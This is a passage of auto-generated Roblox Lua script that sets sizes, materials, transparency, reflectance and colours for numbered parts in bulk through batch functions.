if P[482] then resizeBatch[#resizeBatch+1] = {Part = P[482], CFrame = P[482].CFrame, Size = Vector3.new(4.005730628967285,0.18631310760974884,3.6331052780151367)} end
if P[603] then resizeBatch[#resizeBatch+1] = {Part = P[603], CFrame = P[603].CFrame, Size = Vector3.new(6.975001335144043,1.1625001430511475,7.3625006675720215)} end
if P[639] then resizeBatch[#resizeBatch+1] = {Part = P[639], CFrame = P[639].CFrame, Size = Vector3.new(6.975001335144043,4.262500762939453,0.38750001788139343)} end
if P[716] then resizeBatch[#resizeBatch+1] = {Part = P[716], CFrame = P[716].CFrame, Size = Vector3.new(0.8246473670005798,0.8246473670005798,18.142240524291992)} end
if P[265] then resizeBatch[#resizeBatch+1] = {Part = P[265], CFrame = P[265].CFrame, Size = Vector3.new(15.699999809265137,1.899999976158142,0.49999991059303284)} end
if P[552] then resizeBatch[#resizeBatch+1] = {Part = P[552], CFrame = P[552].CFrame, Size = Vector3.new(0.23289145529270172,6.008597373962402,4.331780433654785)} end
if P[709] then resizeBatch[#resizeBatch+1] = {Part = P[709], CFrame = P[709].CFrame, Size = Vector3.new(0.23289145529270172,1.0945899486541748,0.18631310760974884)} end
if P[674] then resizeBatch[#resizeBatch+1] = {Part = P[674], CFrame = P[674].CFrame, Size = Vector3.new(5,1,5)} end
if P[87] then resizeBatch[#resizeBatch+1] = {Part = P[87], CFrame = P[87].CFrame, Size = Vector3.new(0.7213894724845886,0.8200726509094238,1.2430260181427002)} end
if P[583] then resizeBatch[#resizeBatch+1] = {Part = P[583], CFrame = P[583].CFrame, Size = Vector3.new(0.38750001788139343,4.262500762939453,7.750001430511475)} end
if P[256] then resizeBatch[#resizeBatch+1] = {Part = P[256], CFrame = P[256].CFrame, Size = Vector3.new(0.8118550777435303,1.1605454683303833,0.9022700786590576)} end
if P[105] then resizeBatch[#resizeBatch+1] = {Part = P[105], CFrame = P[105].CFrame, Size = Vector3.new(0.7213889956474304,1.2634233236312866,0.8535963296890259)} end
if P[516] then resizeBatch[#resizeBatch+1] = {Part = P[516], CFrame = P[516].CFrame, Size = Vector3.new(0.23289145529270172,6.008597373962402,4.331780433654785)} end
if P[682] then resizeBatch[#resizeBatch+1] = {Part = P[682], CFrame = P[682].CFrame, Size = Vector3.new(3.9125752449035645,0.16302397847175598,3.7262632846832275)} end
if P[485] then resizeBatch[#resizeBatch+1] = {Part = P[485], CFrame = P[485].CFrame, Size = Vector3.new(0.23289145529270172,6.008597373962402,4.331780433654785)} end
if P[564] then resizeBatch[#resizeBatch+1] = {Part = P[564], CFrame = P[564].CFrame, Size = Vector3.new(0.23289145529270172,6.008597373962402,4.331780433654785)} end
if P[665] then resizeBatch[#resizeBatch+1] = {Part = P[665], CFrame = P[665].CFrame, Size = Vector3.new(100,1,100)} end
if P[430] then resizeBatch[#resizeBatch+1] = {Part = P[430], CFrame = P[430].CFrame, Size = Vector3.new(0.22467593848705292,4.381180763244629,0.22467593848705292)} end
if P[543] then resizeBatch[#resizeBatch+1] = {Part = P[543], CFrame = P[543].CFrame, Size = Vector3.new(0.23289145529270172,1.0945899486541748,0.18631310760974884)} end
if P[662] then resizeBatch[#resizeBatch+1] = {Part = P[662], CFrame = P[662].CFrame, Size = Vector3.new(61,1,225.18780517578125)} end
if P[659] then resizeBatch[#resizeBatch+1] = {Part = P[659], CFrame = P[659].CFrame, Size = Vector3.new(2,21.10131072998047,2)} end
if P[591] then resizeBatch[#resizeBatch+1] = {Part = P[591], CFrame = P[591].CFrame, Size = Vector3.new(0.7750000357627869,0.38750001788139343,0.7750000357627869)} end
if P[513] then resizeBatch[#resizeBatch+1] = {Part = P[513], CFrame = P[513].CFrame, Size = Vector3.new(4.238623142242432,6.031886100769043,4.2852020263671875)} end
if P[454] then resizeBatch[#resizeBatch+1] = {Part = P[454], CFrame = P[454].CFrame, Size = Vector3.new(0.33701393008232117,0.22467593848705292,0.2246759682893753)} end
if P[458] then resizeBatch[#resizeBatch+1] = {Part = P[458], CFrame = P[458].CFrame, Size = Vector3.new(0.22467593848705292,4.381180763244629,0.22467593848705292)} end
if P[451] then resizeBatch[#resizeBatch+1] = {Part = P[451], CFrame = P[451].CFrame, Size = Vector3.new(8.650022506713867,0.22467593848705292,0.2246759682893753)} end
if P[644] then resizeBatch[#resizeBatch+1] = {Part = P[644], CFrame = P[644].CFrame, Size = Vector3.new(70.99996185302734,1,68)} end
batchResize(endpoint, resizeBatch)
local materialBatch = {}
if P[8] then materialBatch[#materialBatch+1] = {Part = P[8], Material = Enum.Material.Plastic} end
if P[9] then materialBatch[#materialBatch+1] = {Part = P[9], Material = Enum.Material.Plastic} end
if P[10] then materialBatch[#materialBatch+1] = {Part = P[10], Material = Enum.Material.Plastic} end
if P[11] then materialBatch[#materialBatch+1] = {Part = P[11], Material = Enum.Material.Plastic} end
if P[12] then materialBatch[#materialBatch+1] = {Part = P[12], Material = Enum.Material.Plastic} end
if P[14] then materialBatch[#materialBatch+1] = {Part = P[14], Material = Enum.Material.Plastic} end
if P[15] then materialBatch[#materialBatch+1] = {Part = P[15], Material = Enum.Material.Plastic} end
if P[16] then materialBatch[#materialBatch+1] = {Part = P[16], Material = Enum.Material.Plastic} end
if P[17] then materialBatch[#materialBatch+1] = {Part = P[17], Material = Enum.Material.Plastic} end
if P[18] then materialBatch[#materialBatch+1] = {Part = P[18], Material = Enum.Material.Plastic} end
if P[21] then materialBatch[#materialBatch+1] = {Part = P[21], Material = Enum.Material.SmoothPlastic} end
if P[22] then materialBatch[#materialBatch+1] = {Part = P[22], Material = Enum.Material.SmoothPlastic} end
if P[23] then materialBatch[#materialBatch+1] = {Part = P[23], Material = Enum.Material.SmoothPlastic} end
if P[24] then materialBatch[#materialBatch+1] = {Part = P[24], Material = Enum.Material.SmoothPlastic} end
if P[25] then materialBatch[#materialBatch+1] = {Part = P[25], Material = Enum.Material.SmoothPlastic} end
if P[26] then materialBatch[#materialBatch+1] = {Part = P[26], Material = Enum.Material.SmoothPlastic} end
if P[27] then materialBatch[#materialBatch+1] = {Part = P[27], Material = Enum.Material.SmoothPlastic} end
if P[28] then materialBatch[#materialBatch+1] = {Part = P[28], Material = Enum.Material.SmoothPlastic} end
if P[29] then materialBatch[#materialBatch+1] = {Part = P[29], Material = Enum.Material.SmoothPlastic} end
if P[30] then materialBatch[#materialBatch+1] = {Part = P[30], Material = Enum.Material.SmoothPlastic} end
if P[31] then materialBatch[#materialBatch+1] = {Part = P[31], Material = Enum.Material.SmoothPlastic} end
if P[32] then materialBatch[#materialBatch+1] = {Part = P[32], Material = Enum.Material.SmoothPlastic} end
if P[33] then materialBatch[#materialBatch+1] = {Part = P[33], Material = Enum.Material.Plastic} end
if P[34] then materialBatch[#materialBatch+1] = {Part = P[34], Material = Enum.Material.SmoothPlastic} end
if P[35] then materialBatch[#materialBatch+1] = {Part = P[35], Material = Enum.Material.SmoothPlastic} end
if P[36] then materialBatch[#materialBatch+1] = {Part = P[36], Material = Enum.Material.SmoothPlastic} end
if P[37] then materialBatch[#materialBatch+1] = {Part = P[37], Material = Enum.Material.SmoothPlastic} end
if P[38] then materialBatch[#materialBatch+1] = {Part = P[38], Material = Enum.Material.SmoothPlastic} end
if P[39] then materialBatch[#materialBatch+1] = {Part = P[39], Material = Enum.Material.SmoothPlastic} end
if P[40] then materialBatch[#materialBatch+1] = {Part = P[40], Material = Enum.Material.SmoothPlastic} end
if P[41] then materialBatch[#materialBatch+1] = {Part = P[41], Material = Enum.Material.Plastic} end
if P[42] then materialBatch[#materialBatch+1] = {Part = P[42], Material = Enum.Material.SmoothPlastic} end
if P[43] then materialBatch[#materialBatch+1] = {Part = P[43], Material = Enum.Material.SmoothPlastic} end
if P[44] then materialBatch[#materialBatch+1] = {Part = P[44], Material = Enum.Material.SmoothPlastic} end
if P[45] then materialBatch[#materialBatch+1] = {Part = P[45], Material = Enum.Material.SmoothPlastic} end
if P[46] then materialBatch[#materialBatch+1] = {Part = P[46], Material = Enum.Material.SmoothPlastic} end
if P[151] then materialBatch[#materialBatch+1] = {Part = P[151], Material = Enum.Material.Plastic} end
if P[673] then materialBatch[#materialBatch+1] = {Part = P[673], Material = Enum.Material.Plastic} end
if P[685] then materialBatch[#materialBatch+1] = {Part = P[685], Material = Enum.Material.SmoothPlastic} end
if P[706] then materialBatch[#materialBatch+1] = {Part = P[706], Material = Enum.Material.SmoothPlastic} end
if P[561] then materialBatch[#materialBatch+1] = {Part = P[561], Material = Enum.Material.SmoothPlastic} end
if P[667] then materialBatch[#materialBatch+1] = {Part = P[667], Material = Enum.Material.Plastic} end
if P[675] then materialBatch[#materialBatch+1] = {Part = P[675], Material = Enum.Material.Plastic} end
if P[736] then materialBatch[#materialBatch+1] = {Part = P[736], Material = Enum.Material.Wood} end
if P[519] then materialBatch[#materialBatch+1] = {Part = P[519], Material = Enum.Material.SmoothPlastic} end
if P[700] then materialBatch[#materialBatch+1] = {Part = P[700], Material = Enum.Material.SmoothPlastic} end
if P[510] then materialBatch[#materialBatch+1] = {Part = P[510], Material = Enum.Material.SmoothPlastic} end
if P[587] then materialBatch[#materialBatch+1] = {Part = P[587], Material = Enum.Material.Plastic} end
if P[464] then materialBatch[#materialBatch+1] = {Part = P[464], Material = Enum.Material.Wood} end
if P[611] then materialBatch[#materialBatch+1] = {Part = P[611], Material = Enum.Material.Plastic} end
if P[571] then materialBatch[#materialBatch+1] = {Part = P[571], Material = Enum.Material.Plastic} end
if P[635] then materialBatch[#materialBatch+1] = {Part = P[635], Material = Enum.Material.Plastic} end
if P[166] then materialBatch[#materialBatch+1] = {Part = P[166], Material = Enum.Material.Plastic} end
if P[435] then materialBatch[#materialBatch+1] = {Part = P[435], Material = Enum.Material.SmoothPlastic} end
if P[555] then materialBatch[#materialBatch+1] = {Part = P[555], Material = Enum.Material.SmoothPlastic} end
if P[175] then materialBatch[#materialBatch+1] = {Part = P[175], Material = Enum.Material.Plastic} end
if P[663] then materialBatch[#materialBatch+1] = {Part = P[663], Material = Enum.Material.Plastic} end
if P[579] then materialBatch[#materialBatch+1] = {Part = P[579], Material = Enum.Material.Plastic} end
if P[657] then materialBatch[#materialBatch+1] = {Part = P[657], Material = Enum.Material.Plastic} end
if P[470] then materialBatch[#materialBatch+1] = {Part = P[470], Material = Enum.Material.SmoothPlastic} end
if P[767] then materialBatch[#materialBatch+1] = {Part = P[767], Material = Enum.Material.Wood} end
if P[491] then materialBatch[#materialBatch+1] = {Part = P[491], Material = Enum.Material.SmoothPlastic} end
if P[607] then materialBatch[#materialBatch+1] = {Part = P[607], Material = Enum.Material.Plastic} end
if P[631] then materialBatch[#materialBatch+1] = {Part = P[631], Material = Enum.Material.Plastic} end
if P[770] then materialBatch[#materialBatch+1] = {Part = P[770], Material = Enum.Material.Wood} end
if P[473] then materialBatch[#materialBatch+1] = {Part = P[473], Material = Enum.Material.SmoothPlastic} end
if P[694] then materialBatch[#materialBatch+1] = {Part = P[694], Material = Enum.Material.SmoothPlastic} end
if P[615] then materialBatch[#materialBatch+1] = {Part = P[615], Material = Enum.Material.Plastic} end
if P[428] then materialBatch[#materialBatch+1] = {Part = P[428], Material = Enum.Material.Plastic} end
if P[575] then materialBatch[#materialBatch+1] = {Part = P[575], Material = Enum.Material.Plastic} end
if P[627] then materialBatch[#materialBatch+1] = {Part = P[627], Material = Enum.Material.Plastic} end
if P[501] then materialBatch[#materialBatch+1] = {Part = P[501], Material = Enum.Material.SmoothPlastic} end
if P[479] then materialBatch[#materialBatch+1] = {Part = P[479], Material = Enum.Material.SmoothPlastic} end
if P[676] then materialBatch[#materialBatch+1] = {Part = P[676], Material = Enum.Material.Plastic} end
if P[595] then materialBatch[#materialBatch+1] = {Part = P[595], Material = Enum.Material.Plastic} end
if P[656] then materialBatch[#materialBatch+1] = {Part = P[656], Material = Enum.Material.Plastic} end
if P[648] then materialBatch[#materialBatch+1] = {Part = P[648], Material = Enum.Material.Plastic} end
if P[78] then materialBatch[#materialBatch+1] = {Part = P[78], Material = Enum.Material.Plastic} end
if P[461] then materialBatch[#materialBatch+1] = {Part = P[461], Material = Enum.Material.SmoothPlastic} end
if P[669] then materialBatch[#materialBatch+1] = {Part = P[669], Material = Enum.Material.Plastic} end
if P[82] then materialBatch[#materialBatch+1] = {Part = P[82], Material = Enum.Material.Plastic} end
if P[72] then materialBatch[#materialBatch+1] = {Part = P[72], Material = Enum.Material.Plastic} end
if P[540] then materialBatch[#materialBatch+1] = {Part = P[540], Material = Enum.Material.Wood} end
if P[703] then materialBatch[#materialBatch+1] = {Part = P[703], Material = Enum.Material.SmoothPlastic} end
if P[619] then materialBatch[#materialBatch+1] = {Part = P[619], Material = Enum.Material.Plastic} end
if P[751] then materialBatch[#materialBatch+1] = {Part = P[751], Material = Enum.Material.Wood} end
if P[522] then materialBatch[#materialBatch+1] = {Part = P[522], Material = Enum.Material.SmoothPlastic} end
if P[204] then materialBatch[#materialBatch+1] = {Part = P[204], Material = Enum.Material.Plastic} end
if P[114] then materialBatch[#materialBatch+1] = {Part = P[114], Material = Enum.Material.Plastic} end
if P[525] then materialBatch[#materialBatch+1] = {Part = P[525], Material = Enum.Material.SmoothPlastic} end
if P[270] then materialBatch[#materialBatch+1] = {Part = P[270], Material = Enum.Material.Plastic} end
if P[664] then materialBatch[#materialBatch+1] = {Part = P[664], Material = Enum.Material.Plastic} end
if P[745] then materialBatch[#materialBatch+1] = {Part = P[745], Material = Enum.Material.Wood} end
if P[670] then materialBatch[#materialBatch+1] = {Part = P[670], Material = Enum.Material.Plastic} end
if P[732] then materialBatch[#materialBatch+1] = {Part = P[732], Material = Enum.Material.Wood} end
if P[271] then materialBatch[#materialBatch+1] = {Part = P[271], Material = Enum.Material.Plastic} end
if P[532] then materialBatch[#materialBatch+1] = {Part = P[532], Material = Enum.Material.Plastic} end
if P[671] then materialBatch[#materialBatch+1] = {Part = P[671], Material = Enum.Material.Plastic} end
if P[268] then materialBatch[#materialBatch+1] = {Part = P[268], Material = Enum.Material.Neon} end
if P[558] then materialBatch[#materialBatch+1] = {Part = P[558], Material = Enum.Material.SmoothPlastic} end
if P[567] then materialBatch[#materialBatch+1] = {Part = P[567], Material = Enum.Material.SmoothPlastic} end
if P[697] then materialBatch[#materialBatch+1] = {Part = P[697], Material = Enum.Material.SmoothPlastic} end
if P[691] then materialBatch[#materialBatch+1] = {Part = P[691], Material = Enum.Material.SmoothPlastic} end
if P[720] then materialBatch[#materialBatch+1] = {Part = P[720], Material = Enum.Material.Wood} end
if P[476] then materialBatch[#materialBatch+1] = {Part = P[476], Material = Enum.Material.SmoothPlastic} end
if P[653] then materialBatch[#materialBatch+1] = {Part = P[653], Material = Enum.Material.Plastic} end
if P[528] then materialBatch[#materialBatch+1] = {Part = P[528], Material = Enum.Material.SmoothPlastic} end
if P[677] then materialBatch[#materialBatch+1] = {Part = P[677], Material = Enum.Material.Plastic} end
if P[650] then materialBatch[#materialBatch+1] = {Part = P[650], Material = Enum.Material.Plastic} end
if P[661] then materialBatch[#materialBatch+1] = {Part = P[661], Material = Enum.Material.Plastic} end
if P[599] then materialBatch[#materialBatch+1] = {Part = P[599], Material = Enum.Material.Plastic} end
if P[498] then materialBatch[#materialBatch+1] = {Part = P[498], Material = Enum.Material.SmoothPlastic} end
if P[186] then materialBatch[#materialBatch+1] = {Part = P[186], Material = Enum.Material.Plastic} end
if P[504] then materialBatch[#materialBatch+1] = {Part = P[504], Material = Enum.Material.SmoothPlastic} end
if P[646] then materialBatch[#materialBatch+1] = {Part = P[646], Material = Enum.Material.Plastic} end
if P[132] then materialBatch[#materialBatch+1] = {Part = P[132], Material = Enum.Material.Plastic} end
if P[623] then materialBatch[#materialBatch+1] = {Part = P[623], Material = Enum.Material.Plastic} end
if P[488] then materialBatch[#materialBatch+1] = {Part = P[488], Material = Enum.Material.SmoothPlastic} end
if P[157] then materialBatch[#materialBatch+1] = {Part = P[157], Material = Enum.Material.Plastic} end
if P[507] then materialBatch[#materialBatch+1] = {Part = P[507], Material = Enum.Material.SmoothPlastic} end
if P[247] then materialBatch[#materialBatch+1] = {Part = P[247], Material = Enum.Material.Plastic} end
if P[660] then materialBatch[#materialBatch+1] = {Part = P[660], Material = Enum.Material.Plastic} end
if P[672] then materialBatch[#materialBatch+1] = {Part = P[672], Material = Enum.Material.Plastic} end
if P[456] then materialBatch[#materialBatch+1] = {Part = P[456], Material = Enum.Material.SmoothPlastic} end
if P[467] then materialBatch[#materialBatch+1] = {Part = P[467], Material = Enum.Material.SmoothPlastic} end
if P[123] then materialBatch[#materialBatch+1] = {Part = P[123], Material = Enum.Material.Plastic} end
if P[773] then materialBatch[#materialBatch+1] = {Part = P[773], Material = Enum.Material.Wood} end
if P[652] then materialBatch[#materialBatch+1] = {Part = P[652], Material = Enum.Material.Plastic} end
if P[655] then materialBatch[#materialBatch+1] = {Part = P[655], Material = Enum.Material.Plastic} end
if P[688] then materialBatch[#materialBatch+1] = {Part = P[688], Material = Enum.Material.Wood} end
if P[761] then materialBatch[#materialBatch+1] = {Part = P[761], Material = Enum.Material.Wood} end
if P[755] then materialBatch[#materialBatch+1] = {Part = P[755], Material = Enum.Material.Wood} end
if P[549] then materialBatch[#materialBatch+1] = {Part = P[549], Material = Enum.Material.SmoothPlastic} end
if P[741] then materialBatch[#materialBatch+1] = {Part = P[741], Material = Enum.Material.Wood} end
if P[494] then materialBatch[#materialBatch+1] = {Part = P[494], Material = Enum.Material.SmoothPlastic} end
if P[433] then materialBatch[#materialBatch+1] = {Part = P[433], Material = Enum.Material.SmoothPlastic} end
if P[238] then materialBatch[#materialBatch+1] = {Part = P[238], Material = Enum.Material.Plastic} end
if P[537] then materialBatch[#materialBatch+1] = {Part = P[537], Material = Enum.Material.SmoothPlastic} end
if P[729] then materialBatch[#materialBatch+1] = {Part = P[729], Material = Enum.Material.Wood} end
if P[227] then materialBatch[#materialBatch+1] = {Part = P[227], Material = Enum.Material.Plastic} end
if P[712] then materialBatch[#materialBatch+1] = {Part = P[712], Material = Enum.Material.SmoothPlastic} end
if P[96] then materialBatch[#materialBatch+1] = {Part = P[96], Material = Enum.Material.Plastic} end
if P[546] then materialBatch[#materialBatch+1] = {Part = P[546], Material = Enum.Material.SmoothPlastic} end
if P[724] then materialBatch[#materialBatch+1] = {Part = P[724], Material = Enum.Material.Wood} end
if P[482] then materialBatch[#materialBatch+1] = {Part = P[482], Material = Enum.Material.SmoothPlastic} end
if P[603] then materialBatch[#materialBatch+1] = {Part = P[603], Material = Enum.Material.Plastic} end
if P[639] then materialBatch[#materialBatch+1] = {Part = P[639], Material = Enum.Material.Plastic} end
if P[716] then materialBatch[#materialBatch+1] = {Part = P[716], Material = Enum.Material.Wood} end
if P[265] then materialBatch[#materialBatch+1] = {Part = P[265], Material = Enum.Material.Plastic} end
if P[552] then materialBatch[#materialBatch+1] = {Part = P[552], Material = Enum.Material.SmoothPlastic} end
if P[709] then materialBatch[#materialBatch+1] = {Part = P[709], Material = Enum.Material.SmoothPlastic} end
if P[674] then materialBatch[#materialBatch+1] = {Part = P[674], Material = Enum.Material.Plastic} end
if P[87] then materialBatch[#materialBatch+1] = {Part = P[87], Material = Enum.Material.Plastic} end
if P[583] then materialBatch[#materialBatch+1] = {Part = P[583], Material = Enum.Material.Plastic} end
if P[256] then materialBatch[#materialBatch+1] = {Part = P[256], Material = Enum.Material.Plastic} end
if P[105] then materialBatch[#materialBatch+1] = {Part = P[105], Material = Enum.Material.Plastic} end
if P[516] then materialBatch[#materialBatch+1] = {Part = P[516], Material = Enum.Material.SmoothPlastic} end
if P[682] then materialBatch[#materialBatch+1] = {Part = P[682], Material = Enum.Material.SmoothPlastic} end
if P[485] then materialBatch[#materialBatch+1] = {Part = P[485], Material = Enum.Material.SmoothPlastic} end
if P[564] then materialBatch[#materialBatch+1] = {Part = P[564], Material = Enum.Material.SmoothPlastic} end
if P[665] then materialBatch[#materialBatch+1] = {Part = P[665], Material = Enum.Material.Plastic} end
if P[430] then materialBatch[#materialBatch+1] = {Part = P[430], Material = Enum.Material.SmoothPlastic} end
if P[543] then materialBatch[#materialBatch+1] = {Part = P[543], Material = Enum.Material.SmoothPlastic} end
if P[662] then materialBatch[#materialBatch+1] = {Part = P[662], Material = Enum.Material.Plastic} end
if P[659] then materialBatch[#materialBatch+1] = {Part = P[659], Material = Enum.Material.Plastic} end
if P[591] then materialBatch[#materialBatch+1] = {Part = P[591], Material = Enum.Material.Plastic} end
if P[513] then materialBatch[#materialBatch+1] = {Part = P[513], Material = Enum.Material.Wood} end
if P[454] then materialBatch[#materialBatch+1] = {Part = P[454], Material = Enum.Material.SmoothPlastic} end
if P[458] then materialBatch[#materialBatch+1] = {Part = P[458], Material = Enum.Material.SmoothPlastic} end
if P[451] then materialBatch[#materialBatch+1] = {Part = P[451], Material = Enum.Material.SmoothPlastic} end
if P[644] then materialBatch[#materialBatch+1] = {Part = P[644], Material = Enum.Material.Plastic} end
batchMaterial(endpoint, materialBatch)
local transparencyBatch = {}
if P[33] then transparencyBatch[#transparencyBatch+1] = {Part = P[33], Transparency = 1} end
if P[41] then transparencyBatch[#transparencyBatch+1] = {Part = P[41], Transparency = 1} end
if P[151] then transparencyBatch[#transparencyBatch+1] = {Part = P[151], Transparency = 1} end
if P[673] then transparencyBatch[#transparencyBatch+1] = {Part = P[673], Transparency = 1} end
if P[587] then transparencyBatch[#transparencyBatch+1] = {Part = P[587], Transparency = 0.30000001192092896} end
if P[663] then transparencyBatch[#transparencyBatch+1] = {Part = P[663], Transparency = 1} end
if P[670] then transparencyBatch[#transparencyBatch+1] = {Part = P[670], Transparency = 1} end
if P[271] then transparencyBatch[#transparencyBatch+1] = {Part = P[271], Transparency = 1} end
if P[671] then transparencyBatch[#transparencyBatch+1] = {Part = P[671], Transparency = 1} end
if P[268] then transparencyBatch[#transparencyBatch+1] = {Part = P[268], Transparency = 0.20000000298023224} end
if P[672] then transparencyBatch[#transparencyBatch+1] = {Part = P[672], Transparency = 1} end
if P[674] then transparencyBatch[#transparencyBatch+1] = {Part = P[674], Transparency = 1} end
batchMaterial(endpoint, transparencyBatch)
local reflectanceBatch = {}
if P[435] then reflectanceBatch[#reflectanceBatch+1] = {Part = P[435], Reflectance = 0.11999999731779099} end
if P[595] then reflectanceBatch[#reflectanceBatch+1] = {Part = P[595], Reflectance = 0.30000001192092896} end
batchMaterial(endpoint, reflectanceBatch)
local colorBatch = {}
if P[8] then colorBatch[#colorBatch+1] = {Part = P[8], Color = Color3.new(0.38823530077934265,0.37254902720451355,0.3843137323856354), UnionColoring = false} end
if P[9] then colorBatch[#colorBatch+1] = {Part = P[9], Color = Color3.new(0.10588235408067703,0.16470588743686676,0.2078431397676468), UnionColoring = false} end
if P[10] then colorBatch[#colorBatch+1] = {Part = P[10], Color = Color3.new(0.10588235408067703,0.16470588743686676,0.2078431397676468), UnionColoring = false} end
if P[11] then colorBatch[#colorBatch+1] = {Part = P[11], Color = Color3.new(0.10588235408067703,0.16470588743686676,0.2078431397676468), UnionColoring = false} end
if P[12] then colorBatch[#colorBatch+1] = {Part = P[12], Color = Color3.new(0.38823530077934265,0.37254902720451355,0.3843137323856354), UnionColoring = false} end
if P[14] then colorBatch[#colorBatch+1] = {Part = P[14], Color = Color3.new(0.10588235408067703,0.16470588743686676,0.2078431397676468), UnionColoring = false} end
if P[15] then colorBatch[#colorBatch+1] = {Part = P[15], Color = Color3.new(0.10588235408067703,0.16470588743686676,0.2078431397676468), UnionColoring = false} end
if P[16] then colorBatch[#colorBatch+1] = {Part = P[16], Color = Color3.new(0.10588235408067703,0.16470588743686676,0.2078431397676468), UnionColoring = false} end
if P[17] then colorBatch[#colorBatch+1] = {Part = P[17], Color = Color3.new(0.38823530077934265,0.37254902720451355,0.3843137323856354), UnionColoring = false} end
if P[18] then colorBatch[#colorBatch+1] = {Part = P[18], Color = Color3.new(0.38823530077934265,0.37254902720451355,0.3843137323856354), UnionColoring = false} end
if P[21] then colorBatch[#colorBatch+1] = {Part = P[21], Color = Color3.new(1,1,1), UnionColoring = false} end
if P[22] then colorBatch[#colorBatch+1] = {Part = P[22], Color = Color3.new(1,1,1), UnionColoring = false} end
if P[23] then colorBatch[#colorBatch+1] = {Part = P[23], Color = Color3.new(1,1,1), UnionColoring = false} end
if P[24] then colorBatch[#colorBatch+1] = {Part = P[24], Color = Color3.new(1,1,1), UnionColoring = false} end
if P[25] then colorBatch[#colorBatch+1] = {Part = P[25], Color = Color3.new(1,1,1), UnionColoring = false} end
if P[26] then colorBatch[#colorBatch+1] = {Part = P[26], Color = Color3.new(1,1,1), UnionColoring = false} end
if P[27] then colorBatch[#colorBatch+1] = {Part = P[27], Color = Color3.new(1,1,1), UnionColoring = false} end
if P[28] then colorBatch[#colorBatch+1] = {Part = P[28], Color = Color3.new(1,1,1), UnionColoring = false} end
if P[29] then colorBatch[#colorBatch+1] = {Part = P[29], Color = Color3.new(1,1,1), UnionColoring = false} end
if P[30] then colorBatch[#colorBatch+1] = {Part = P[30], Color = Color3.new(1,1,1), UnionColoring = false} end
if P[31] then colorBatch[#colorBatch+1] = {Part = P[31], Color = Color3.new(1,1,1), UnionColoring = false} end
if P[32] then colorBatch[#colorBatch+1] = {Part = P[32], Color = Color3.new(1,1,1), UnionColoring = false} end
if P[33] then colorBatch[#colorBatch+1] = {Part = P[33], Color = Color3.new(0.6392157077789307,0.6352941393852234,0.6470588445663452), UnionColoring = false} end
if P[34] then colorBatch[#colorBatch+1] = {Part = P[34], Color = Color3.new(1,1,1), UnionColoring = false} end
if P[35] then colorBatch[#colorBatch+1] = {Part = P[35], Color = Color3.new(1,1,1), UnionColoring = false} end
if P[36] then colorBatch[#colorBatch+1] = {Part = P[36], Color = Color3.new(1,1,1), UnionColoring = false} end
if P[37] then colorBatch[#colorBatch+1] = {Part = P[37], Color = Color3.new(1,1,1), UnionColoring = false} end
if P[38] then colorBatch[#colorBatch+1] = {Part = P[38], Color = Color3.new(1,1,1), UnionColoring = false} end
if P[39] then colorBatch[#colorBatch+1] = {Part = P[39], Color = Color3.new(1,1,1), UnionColoring = false} end
if P[40] then colorBatch[#colorBatch+1] = {Part = P[40], Color = Color3.new(1,1,1), UnionColoring = false} end
if P[41] then colorBatch[#colorBatch+1] = {Part = P[41], Color = Color3.new(0.6392157077789307,0.6352941393852234,0.6470588445663452), UnionColoring = false} end
if P[42] then colorBatch[#colorBatch+1] = {Part = P[42], Color = Color3.new(1,1,1), UnionColoring = false} end
if P[43] then colorBatch[#colorBatch+1] = {Part = P[43], Color = Color3.new(1,1,1), UnionColoring = false} end
if P[44] then colorBatch[#colorBatch+1] = {Part = P[44], Color = Color3.new(1,1,1), UnionColoring = false} end
if P[45] then colorBatch[#colorBatch+1] = {Part = P[45], Color = Color3.new(1,1,1), UnionColoring = false} end
if P[46] then colorBatch[#colorBatch+1] = {Part = P[46], Color = Color3.new(1,1,1), UnionColoring = false} end
if P[151] then colorBatch[#colorBatch+1] = {Part = P[151], Color = Color3.new(0.6392157077789307,0.6352941393852234,0.6470588445663452), UnionColoring = false} end
if P[673] then colorBatch[#colorBatch+1] = {Part = P[673], Color = Color3.new(0.6392157077789307,0.6352941393852234,0.6470588445663452), UnionColoring = false} end
if P[685] then colorBatch[#colorBatch+1] = {Part = P[685], Color = Color3.new(0.6392157077789307,0.6352941393852234,0.6470588445663452), UnionColoring = false} end
if P[706] then colorBatch[#colorBatch+1] = {Part = P[706], Color = Color3.new(0.6392157077789307,0.6352941393852234,0.6470588445663452), UnionColoring = false} end
if P[561] then colorBatch[#colorBatch+1] = {Part = P[561], Color = Color3.new(0.6392157077789307,0.6352941393852234,0.6470588445663452), UnionColoring = false} end
if P[667] then colorBatch[#colorBatch+1] = {Part = P[667], Color = Color3.new(0.6392157077789307,0.6352941393852234,0.6470588445663452), UnionColoring = false} end
if P[675] then colorBatch[#colorBatch+1] = {Part = P[675], Color = Color3.new(0.6392157077789307,0.6352941393852234,0.6470588445663452), UnionColoring = false} end
if P[736] then colorBatch[#colorBatch+1] = {Part = P[736], Color = Color3.new(0.4117647111415863,0.250980406999588,0.1568627506494522), UnionColoring = false} end
if P[519] then colorBatch[#colorBatch+1] = {Part = P[519], Color = Color3.new(0.6392157077789307,0.6352941393852234,0.6470588445663452), UnionColoring = false} end
if P[700] then colorBatch[#colorBatch+1] = {Part = P[700], Color = Color3.new(0.6392157077789307,0.6352941393852234,0.6470588445663452), UnionColoring = false} end
if P[510] then colorBatch[#colorBatch+1] = {Part = P[510], Color = Color3.new(0.6392157077789307,0.6352941393852234,0.6470588445663452), UnionColoring = false} end
if P[587] then colorBatch[#colorBatch+1] = {Part = P[587], Color = Color3.new(0.9490196108818054,0.9529411792755127,0.9529411792755127), UnionColoring = false} end
if P[464] then colorBatch[#colorBatch+1] = {Part = P[464], Color = Color3.new(0.42352941632270813,0.3450980484485626,0.29411765933036804), UnionColoring = false} end
if P[611] then colorBatch[#colorBatch+1] = {Part = P[611], Color = Color3.new(0.06666667014360428,0.06666667014360428,0.06666667014360428), UnionColoring = false} end
if P[571] then colorBatch[#colorBatch+1] = {Part = P[571], Color = Color3.new(0.06666667014360428,0.06666667014360428,0.06666667014360428), UnionColoring = false} end
if P[635] then colorBatch[#colorBatch+1] = {Part = P[635], Color = Color3.new(0.38823530077934265,0.37254902720451355,0.3843137323856354), UnionColoring = false} end
if P[166] then colorBatch[#colorBatch+1] = {Part = P[166], Color = Color3.new(0.4313725531101227,0.6000000238418579,0.7921568751335144), UnionColoring = false} end
if P[435] then colorBatch[#colorBatch+1] = {Part = P[435], Color = Color3.new(0.06666667014360428,0.06666667014360428,0.06666667014360428), UnionColoring = false} end
